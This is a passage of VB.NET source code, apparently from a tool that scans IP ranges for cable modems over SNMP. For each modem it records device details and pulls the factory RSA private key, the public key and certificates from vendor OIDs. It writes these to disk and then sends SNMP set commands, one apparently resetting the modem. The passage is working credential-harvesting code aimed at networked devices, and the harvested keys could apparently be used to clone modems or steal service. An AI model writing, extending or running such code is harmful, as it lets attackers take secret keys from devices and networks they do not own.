  3270.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  3271.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  3272.                 myProcessspeedd.Start()
  3273.  
  3274.  
  3275.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  3276.                 sInSpeedd.AutoFlush = True
  3277.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  3278.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  3279.                 sspeedd = sOutSpeedd.ReadToEnd()
  3280.                 If Not myProcessspeedd.HasExited Then
  3281.                     myProcessspeedd.Kill()
  3282.                 End If
  3283.                 sInSpeedd.Close()
  3284.                 sOutSpeedd.Close()
  3285.                 sErrSpeedd.Close()
  3286.                 myProcessspeedd.Close()
  3287.                 Dim tempSpeedd As String
  3288.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  3289.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  3290.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  3291.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  3292.                 'get upload speed
  3293.                 Dim myProcessspeedu As Process = New Process
  3294.                 Dim sspeedu As String
  3295.                 myProcessspeedu.StartInfo.FileName = x
  3296.                 myProcessspeedu.StartInfo.UseShellExecute = False
  3297.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  3298.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  3299.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  3300.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  3301.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  3302.                 myProcessspeedu.Start()
  3303.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  3304.                 sInSpeedu.AutoFlush = True
  3305.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  3306.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  3307.                 sspeedu = sOutSpeedu.ReadToEnd()
  3308.                 If Not myProcessspeedu.HasExited Then
  3309.                     myProcessspeedu.Kill()
  3310.                 End If
  3311.                 sInSpeedu.Close()
  3312.                 sOutSpeedu.Close()
  3313.                 sErrSpeedu.Close()
  3314.                 myProcessspeedu.Close()
  3315.                 Dim tempSpeedu As String
  3316.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  3317.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  3318.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  3319.  
  3320.  
  3321.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  3322.                     'get download speed doccis 1.1 +
  3323.                     Dim myProcessspeedd1 As Process = New Process
  3324.                     Dim sspeedd1 As String
  3325.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  3326.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  3327.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  3328.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  3329.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  3330.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  3331.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  3332.                     myProcessspeedd1.Start()
  3333.  
  3334.  
  3335.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  3336.                     sInSpeedd1.AutoFlush = True
  3337.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  3338.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  3339.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  3340.                     If Not myProcessspeedd1.HasExited Then
  3341.                         myProcessspeedd1.Kill()
  3342.                     End If
  3343.                     sInSpeedd1.Close()
  3344.                     sOutSpeedd1.Close()
  3345.                     sErrSpeedd1.Close()
  3346.                     myProcessspeedd1.Close()
  3347.                     Dim tempSpeedd1 As String
  3348.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  3349.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  3350.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  3351.                     tempSpeedd = tempSpeedd1
  3352.  
  3353.                     Dim testing As String
  3354.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  3355.                     ''MsgBox(testing)
  3356.                     Dim split As String()
  3357.                     split = testing.Split(",")
  3358.                     tempSpeedd = split(0).ToString
  3359.                     tempSpeedu = split(4).ToString
  3360.                     ''MsgBox(tempSpeedd)
  3361.                     ''MsgBox(tempSpeedu)
  3362.                 End If
  3363.  
  3364.  
  3365.  
  3366.                 Dim oFileSER As System.IO.File
  3367.                 Dim oWriteSER As System.IO.StreamWriter
  3368.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  3369.                 oWriteSER = oFileSER.CreateText(filedirSER)
  3370.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  3371.                 oWriteSER.Close()
  3372.  
  3373.                 Dim filetodelete As String
  3374.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  3375.                 If System.IO.File.Exists(filetodelete) = True Then
  3376.                     System.IO.File.Delete(filetodelete)
  3377.                 End If
  3378.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  3379.                 If System.IO.File.Exists(filetodelete) = True Then
  3380.                     System.IO.File.Delete(filetodelete)
  3381.                 End If
  3382.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  3383.                 If System.IO.File.Exists(filetodelete) = True Then
  3384.                     System.IO.File.Delete(filetodelete)
  3385.                 End If
  3386.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  3387.                 If System.IO.File.Exists(filetodelete) = True Then
  3388.                     System.IO.File.Delete(filetodelete)
  3389.                 End If
  3390.  
  3391.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  3392.                 If System.IO.File.Exists(filetodelete) = True Then
  3393.                     System.IO.File.Delete(filetodelete)
  3394.                 End If
  3395.  
  3396.  
  3397.  
  3398.  
  3399.  
  3400.  
  3401.  
  3402.                 'get cmFactoryRSAPublicKey.txt
  3403.                 Dim myProcess1 As Process = New Process
  3404.                 Dim s1 As String
  3405.                 myProcess1.StartInfo.FileName = x
  3406.                 myProcess1.StartInfo.UseShellExecute = False
  3407.                 myProcess1.StartInfo.CreateNoWindow = True
  3408.                 myProcess1.StartInfo.RedirectStandardInput = True
  3409.                 myProcess1.StartInfo.RedirectStandardOutput = True
  3410.                 myProcess1.StartInfo.RedirectStandardError = True
  3411.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  3412.                 myProcess1.Start()
  3413.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  3414.                 sIn1.AutoFlush = True
  3415.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  3416.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  3417.                 s1 = sOut1.ReadToEnd()
  3418.                 If Not myProcess1.HasExited Then
  3419.                     myProcess1.Kill()
  3420.                 End If
  3421.                 sIn1.Close()
  3422.                 sOut1.Close()
  3423.                 sErr1.Close()
  3424.                 myProcess1.Close()
  3425.                 Dim temp1 As String
  3426.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  3427.                 temp1 = Replace(temp1, "Hex-", Nothing)
  3428.                 temp1 = Replace(temp1, Chr(34), Nothing)
  3429.                 Dim oFile As System.IO.File
  3430.                 Dim oWrite As System.IO.StreamWriter
  3431.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  3432.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  3433.                 End If
  3434.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  3435.                 oWrite = oFile.CreateText(filedir)
  3436.                 oWrite.WriteLine(temp1)
  3437.                 oWrite.Close()
  3438.                 Dim bytelist1 As String()
  3439.                 Dim templist1 As String
  3440.                 templist1 = Replace(temp1, vbCrLf, " ")
  3441.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  3442.                 templist1 = Replace(templist1, " ", ",")
  3443.                 templist1 = Replace(templist1, ",,", ",")
  3444.                 bytelist1 = Split(templist1, ",")
  3445.                 Dim coutner1 As Integer
  3446.                 coutner1 = 2
  3447.                 Dim countback1 As Integer = bytelist1.Length - 2
  3448.                 Dim countup1 As Integer = 1
  3449.                 Dim watchvar1 As Integer = 0
  3450.                 While countback1 >= 0
  3451.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  3452.                         countup1 += 1
  3453.                     Else
  3454.                         watchvar1 = 1
  3455.                     End If
  3456.                     countback1 -= 1
  3457.                 End While
  3458.                 While coutner1 < bytelist1.Length - countup1
  3459.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  3460.                     Dim oFileStream1 As System.IO.FileStream
  3461.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  3462.                     oFileStream1.WriteByte(byteData)
  3463.                     oFileStream1.Close()
  3464.                     coutner1 += 1
  3465.                 End While
  3466.                 'get cmFactoryRSAPrivateKey.txt
  3467.                 Dim myProcess2 As Process = New Process
  3468.                 Dim s2 As String
  3469.                 myProcess2.StartInfo.FileName = x
  3470.                 myProcess2.StartInfo.UseShellExecute = False
  3471.                 myProcess2.StartInfo.CreateNoWindow = True
  3472.                 myProcess2.StartInfo.RedirectStandardInput = True
  3473.                 myProcess2.StartInfo.RedirectStandardOutput = True
  3474.                 myProcess2.StartInfo.RedirectStandardError = True
  3475.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  3476.                 myProcess2.Start()
  3477.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  3478.                 sIn2.AutoFlush = True
  3479.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  3480.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  3481.                 s2 = sOut2.ReadToEnd()
  3482.                 If Not myProcess2.HasExited Then
  3483.                     myProcess2.Kill()
  3484.                 End If
  3485.                 sIn2.Close()
  3486.                 sOut2.Close()
  3487.                 sErr2.Close()
  3488.                 myProcess2.Close()
  3489.                 Dim temp2 As String
  3490.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  3491.                 temp2 = Replace(temp2, "Hex-", "")
  3492.                 temp2 = Replace(temp2, Chr(34), "")
  3493.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  3494.                 oWrite = oFile.CreateText(filedir)
  3495.                 oWrite.WriteLine(temp2)
  3496.                 oWrite.Close()
  3497.                 Dim bytelist2 As String()
  3498.                 Dim templist2 As String
  3499.                 templist2 = Replace(temp2, vbCrLf, " ")
  3500.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  3501.                 templist2 = Replace(templist2, " ", ",")
  3502.                 templist2 = Replace(templist2, ",,", ",")
  3503.                 bytelist2 = Split(templist2, ",")
  3504.                 Dim coutner2 As Integer
  3505.                 coutner2 = 2
  3506.                 Dim countback2 As Integer = bytelist2.Length - 2
  3507.                 Dim countup2 As Integer = 1
  3508.                 Dim watchvar2 As Integer = 0
  3509.                 While countback2 >= 0
  3510.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  3511.                         countup2 += 1
  3512.                     Else
  3513.                         watchvar2 = 1
  3514.                     End If
  3515.                     countback2 -= 1
  3516.                 End While
  3517.                 While coutner2 < bytelist2.Length - countup2
  3518.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  3519.                     Dim oFileStream2 As System.IO.FileStream
  3520.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  3521.                     oFileStream2.WriteByte(byteData2)
  3522.                     oFileStream2.Close()
  3523.                     coutner2 += 1
  3524.                 End While
  3525.                 'get cmFactoryCMCertificate.txt
  3526.                 Dim myProcess3 As Process = New Process
  3527.                 Dim s3 As String
  3528.                 myProcess3.StartInfo.FileName = x
  3529.                 myProcess3.StartInfo.UseShellExecute = False
  3530.                 myProcess3.StartInfo.CreateNoWindow = True
  3531.                 myProcess3.StartInfo.RedirectStandardInput = True
  3532.                 myProcess3.StartInfo.RedirectStandardOutput = True
  3533.                 myProcess3.StartInfo.RedirectStandardError = True
  3534.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  3535.                 myProcess3.Start()
  3536.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  3537.                 sIn3.AutoFlush = True
  3538.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  3539.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  3540.                 s3 = sOut3.ReadToEnd()
  3541.                 If Not myProcess3.HasExited Then
  3542.                     myProcess3.Kill()
  3543.                 End If
  3544.                 sIn3.Close()
  3545.                 sOut3.Close()
  3546.                 sErr3.Close()
  3547.                 myProcess3.Close()
  3548.                 Dim temp3 As String
  3549.  
  3550.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  3551.                 temp3 = Replace(temp3, "Hex-", "")
  3552.                 temp3 = Replace(temp3, Chr(34), "")
  3553.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  3554.                 oWrite = oFile.CreateText(filedir)
  3555.                 oWrite.WriteLine(temp3)
  3556.                 oWrite.Close()
  3557.                 Dim bytelist3 As String()
  3558.                 Dim templist3 As String
  3559.                 templist3 = Replace(temp3, vbCrLf, " ")
  3560.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  3561.                 templist3 = Replace(templist3, " ", ",")
  3562.                 templist3 = Replace(templist3, ",,", ",")
  3563.                 bytelist3 = Split(templist3, ",")
  3564.                 Dim coutner3 As Integer
  3565.                 coutner3 = 2
  3566.                 Dim countback3 As Integer = bytelist3.Length - 2
  3567.                 Dim countup3 As Integer = 1
  3568.                 Dim watchvar3 As Integer = 0
  3569.                 While countback3 >= 0
  3570.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  3571.                         countup3 += 1
  3572.                     Else
  3573.                         watchvar3 = 1
  3574.                     End If
  3575.                     countback3 -= 1
  3576.                 End While
  3577.                 While coutner3 < bytelist3.Length - countup3
  3578.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  3579.                     Dim oFileStream3 As System.IO.FileStream
  3580.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  3581.                     oFileStream3.WriteByte(byteData3)
  3582.                     oFileStream3.Close()
  3583.                     coutner3 = coutner3 + 1
  3584.                 End While
  3585.                 'get cmFactoryCaCertificate.txt
  3586.                 Dim myProcess4 As Process = New Process
  3587.                 Dim s4 As String
  3588.                 myProcess4.StartInfo.FileName = x
  3589.                 myProcess4.StartInfo.UseShellExecute = False
  3590.                 myProcess4.StartInfo.CreateNoWindow = True
  3591.                 myProcess4.StartInfo.RedirectStandardInput = True
  3592.                 myProcess4.StartInfo.RedirectStandardOutput = True
  3593.                 myProcess4.StartInfo.RedirectStandardError = True
  3594.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  3595.                 myProcess4.Start()
  3596.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  3597.                 sIn4.AutoFlush = True
  3598.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  3599.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  3600.                 s4 = sOut4.ReadToEnd()
  3601.                 If Not myProcess4.HasExited Then
  3602.                     myProcess4.Kill()
  3603.                 End If
  3604.                 sIn4.Close()
  3605.                 sOut4.Close()
  3606.                 sErr4.Close()
  3607.                 myProcess4.Close()
  3608.                 Dim temp4 As String
  3609.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  3610.                 temp4 = Replace(temp4, "Hex-", "")
  3611.                 temp4 = Replace(temp4, Chr(34), "")
  3612.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  3613.                 oWrite = oFile.CreateText(filedir)
  3614.                 oWrite.WriteLine(temp4)
  3615.                 oWrite.Close()
  3616.                 Dim bytelist4 As String()
  3617.                 Dim templist4 As String
  3618.                 templist4 = Replace(temp4, vbCrLf, " ")
  3619.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  3620.                 templist4 = Replace(templist4, " ", ",")
  3621.                 templist4 = Replace(templist4, ",,", ",")
  3622.                 bytelist4 = Split(templist4, ",")
  3623.                 Dim coutner4 As Integer
  3624.                 coutner4 = 2
  3625.                 Dim countback4 As Integer = bytelist4.Length - 2
  3626.                 Dim countup4 As Integer = 1
  3627.                 Dim watchvar4 As Integer = 0
  3628.                 While countback4 >= 0
  3629.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  3630.                         countup4 = countup4 + 1
  3631.                     Else
  3632.                         watchvar4 = 1
  3633.                     End If
  3634.                     countback4 = countback4 - 1
  3635.                 End While
  3636.                 While coutner4 < bytelist4.Length - countup4
  3637.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  3638.                     Dim oFileStream4 As System.IO.FileStream
  3639.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  3640.                     oFileStream4.WriteByte(byteData4)
  3641.                     oFileStream4.Close()
  3642.                     coutner4 = coutner4 + 1
  3643.                 End While
  3644.                 'get cmFactoryRootCertificate.txt
  3645.                 Dim myProcess5 As Process = New Process
  3646.                 Dim s5 As String
  3647.                 myProcess5.StartInfo.FileName = x
  3648.                 myProcess5.StartInfo.UseShellExecute = False
  3649.                 myProcess5.StartInfo.CreateNoWindow = True
  3650.                 myProcess5.StartInfo.RedirectStandardInput = True
  3651.                 myProcess5.StartInfo.RedirectStandardOutput = True
  3652.                 myProcess5.StartInfo.RedirectStandardError = True
  3653.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  3654.                 myProcess5.Start()
  3655.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  3656.                 sIn5.AutoFlush = True
  3657.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  3658.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  3659.                 s5 = sOut5.ReadToEnd()
  3660.                 If Not myProcess5.HasExited Then
  3661.                     myProcess5.Kill()
  3662.                 End If
  3663.                 sIn5.Close()
  3664.                 sOut5.Close()
  3665.                 sErr5.Close()
  3666.                 myProcess5.Close()
  3667.                 Dim temp5 As String
  3668.  
  3669.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  3670.                 temp5 = Replace(temp5, "Hex-", "")
  3671.                 temp5 = Replace(temp5, Chr(34), "")
  3672.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  3673.                 oWrite = oFile.CreateText(filedir)
  3674.                 oWrite.WriteLine(temp5)
  3675.                 oWrite.Close()
  3676.                 Dim bytelist5 As String()
  3677.                 Dim templist5 As String
  3678.                 templist5 = Replace(temp5, vbCrLf, " ")
  3679.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  3680.                 templist5 = Replace(templist5, " ", ",")
  3681.                 templist5 = Replace(templist5, ",,", ",")
  3682.                 bytelist5 = Split(templist5, ",")
  3683.                 Dim coutner5 As Integer
  3684.                 coutner5 = 2
  3685.                 Dim countback5 As Integer = bytelist5.Length - 2
  3686.                 Dim countup5 As Integer = 1
  3687.                 Dim watchvar5 As Integer = 0
  3688.                 While countback5 >= 0
  3689.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  3690.                         countup5 = countup5 + 1
  3691.                     Else
  3692.                         watchvar5 = 1
  3693.                     End If
  3694.                     countback5 = countback5 - 1
  3695.                 End While
  3696.                 While coutner5 < bytelist5.Length - countup5
  3697.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  3698.                     Dim oFileStream5 As System.IO.FileStream
  3699.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  3700.                     oFileStream5.WriteByte(byteData5)
  3701.                     oFileStream5.Close()
  3702.                     coutner5 = coutner5 + 1
  3703.                 End While
  3704.  
  3705.                 x = "C:\snmpcert\snmpset.exe"
  3706.                 Dim myProcess6 As Process = New Process
  3707.                 Dim s6 As String
  3708.                 myProcess6.StartInfo.FileName = x
  3709.                 myProcess6.StartInfo.UseShellExecute = False
  3710.                 myProcess6.StartInfo.CreateNoWindow = True
  3711.                 myProcess6.StartInfo.RedirectStandardInput = True
  3712.                 myProcess6.StartInfo.RedirectStandardOutput = True
  3713.                 myProcess6.StartInfo.RedirectStandardError = True
  3714.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  3715.                 myProcess6.Start()
  3716.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  3717.                 sIn6.AutoFlush = True
  3718.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  3719.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  3720.                 s6 = sOut6.ReadToEnd()
  3721.                 If Not myProcess6.HasExited Then
  3722.                     myProcess6.Kill()
  3723.                 End If
  3724.                 sIn6.Close()
  3725.                 sOut6.Close()
  3726.                 sErr6.Close()
  3727.                 myProcess6.Close()
  3728.                 Dim myProcess7 As Process = New Process
  3729.                 Dim s7 As String
  3730.                 myProcess7.StartInfo.FileName = x
  3731.                 myProcess7.StartInfo.UseShellExecute = False
  3732.                 myProcess7.StartInfo.CreateNoWindow = True
  3733.                 myProcess7.StartInfo.RedirectStandardInput = True
  3734.                 myProcess7.StartInfo.RedirectStandardOutput = True
  3735.                 myProcess7.StartInfo.RedirectStandardError = True
  3736.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  3737.                 myProcess7.Start()
  3738.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  3739.                 sIn7.AutoFlush = True
  3740.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  3741.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  3742.                 s7 = sOut7.ReadToEnd()
  3743.                 If Not myProcess7.HasExited Then
  3744.                     myProcess7.Kill()
  3745.                 End If
  3746.                 sIn7.Close()
  3747.                 sOut7.Close()
  3748.                 sErr7.Close()
  3749.                 myProcess7.Close()
  3750.  
  3751.                 Timer1.Enabled = True
  3752.             Catch ex As Exception
  3753.                 Exit Sub
  3754.             End Try
  3755.         End If
  3756.     End Sub
  3757.     Sub check5(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  3758.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  3759.         Dim x = "C:\snmpcert\snmpget.exe"
  3760.         Dim myProcess As Process = New Process
  3761.         Dim s As String = ""
  3762.         myProcess.StartInfo.FileName = x
  3763.         myProcess.StartInfo.UseShellExecute = False
  3764.         myProcess.StartInfo.CreateNoWindow = True
  3765.         myProcess.StartInfo.RedirectStandardInput = True
  3766.         myProcess.StartInfo.RedirectStandardOutput = True
  3767.         myProcess.StartInfo.RedirectStandardError = True
  3768.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  3769.         myProcess.Start()
  3770.         Dim sIn As StreamWriter = myProcess.StandardInput
  3771.         sIn.AutoFlush = True
  3772.         Dim sOut As StreamReader = myProcess.StandardOutput
  3773.         Dim sErr As StreamReader = myProcess.StandardError
  3774.  
  3775.  
  3776.         s = sOut.ReadToEnd()
  3777.         Dim e As String = sErr.ReadToEnd
  3778.         Console.WriteLine(s)
  3779.         output = e
  3780.         output = s
  3781.         If Not myProcess.HasExited Then
  3782.             myProcess.Kill()
  3783.         End If
  3784.         sIn.Close()
  3785.         sOut.Close()
  3786.         sErr.Close()
  3787.         myProcess.Close()
  3788.         Dim temp As String = ""
  3789.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  3790.         temp = Replace(temp, Chr(34), "")
  3791.         If temp = Nothing Then
  3792.             temp = ""
  3793.         Else
  3794.             If temp = "No Such Object available on this agent at this OID" Then
  3795.                 allmodems += 1
  3796.             End If
  3797.             temp = temp.ToString.ToUpper
  3798.             Dim values As String
  3799.             values = temp
  3800.             Dim sites As String() = Nothing
  3801.             sites = values.Split(" ")
  3802.             Dim t As String
  3803.             For Each t In sites
  3804.                 If t = "NO" Then
  3805.                     track = 1
  3806.  
  3807.                 End If
  3808.  
  3809.             Next t
  3810.         End If
  3811.         If temp.ToString = "" Then
  3812.             Timer1.Enabled = True
  3813.             Exit Sub
  3814.         ElseIf track = 1 Then
  3815.             track = 0
  3816.             Timer1.Enabled = True
  3817.             Exit Sub
  3818.         Else
  3819.             total_modems += 1
  3820.  
  3821.             Try
  3822.                 Dim mymac1 As Process = New Process
  3823.                 Dim sm As String
  3824.                 mymac1.StartInfo.FileName = x
  3825.                 mymac1.StartInfo.UseShellExecute = False
  3826.                 mymac1.StartInfo.CreateNoWindow = True
  3827.                 mymac1.StartInfo.RedirectStandardInput = True
  3828.                 mymac1.StartInfo.RedirectStandardOutput = True
  3829.                 mymac1.StartInfo.RedirectStandardError = True
  3830.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  3831.                 mymac1.Start()
  3832.                 Dim sInm As StreamWriter = mymac1.StandardInput
  3833.                 sInm.AutoFlush = True
  3834.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  3835.                 Dim sErrm As StreamReader = mymac1.StandardError
  3836.                 sm = sOutm.ReadToEnd()
  3837.                 If Not mymac1.HasExited Then
  3838.                     mymac1.Kill()
  3839.                 End If
  3840.                 sInm.Close()
  3841.                 sOutm.Close()
  3842.                 sErrm.Close()
  3843.                 mymac1.Close()
  3844.                 Dim tempm As String = ""
  3845.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  3846.                 tempm = Replace(tempm, "Hex-", Nothing)
  3847.                 tempm = Replace(tempm, Chr(34), Nothing)
  3848.                 tempm = Replace(tempm, ":", Nothing)
  3849.                 tempm = Replace(tempm, " ", Nothing)
  3850.                 temp = Replace(temp, vbCrLf, Nothing)
  3851.                 tempm = Replace(tempm, vbCrLf, Nothing)
  3852.                 Dim usbmac As Process = New Process
  3853.                 Dim sm1 As String
  3854.                 usbmac.StartInfo.FileName = x
  3855.                 usbmac.StartInfo.UseShellExecute = False
  3856.                 usbmac.StartInfo.CreateNoWindow = True
  3857.                 usbmac.StartInfo.RedirectStandardInput = True
  3858.                 usbmac.StartInfo.RedirectStandardOutput = True
  3859.                 usbmac.StartInfo.RedirectStandardError = True
  3860.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  3861.                 usbmac.Start()
  3862.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  3863.                 sInm1.AutoFlush = True
  3864.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  3865.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  3866.                 sm1 = sOutm1.ReadToEnd()
  3867.                 If Not usbmac.HasExited Then
  3868.                     usbmac.Kill()
  3869.                 End If
  3870.                 sInm1.Close()
  3871.                 sOutm1.Close()
  3872.                 sErrm1.Close()
  3873.                 usbmac.Close()
  3874.                 Dim tempum As String = ""
  3875.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  3876.                 tempum = Replace(tempum, "Hex-", Nothing)
  3877.                 tempum = Replace(tempum, Chr(34), Nothing)
  3878.                 tempum = Replace(tempum, ":", Nothing)
  3879.                 tempum = Replace(tempum, " ", Nothing)
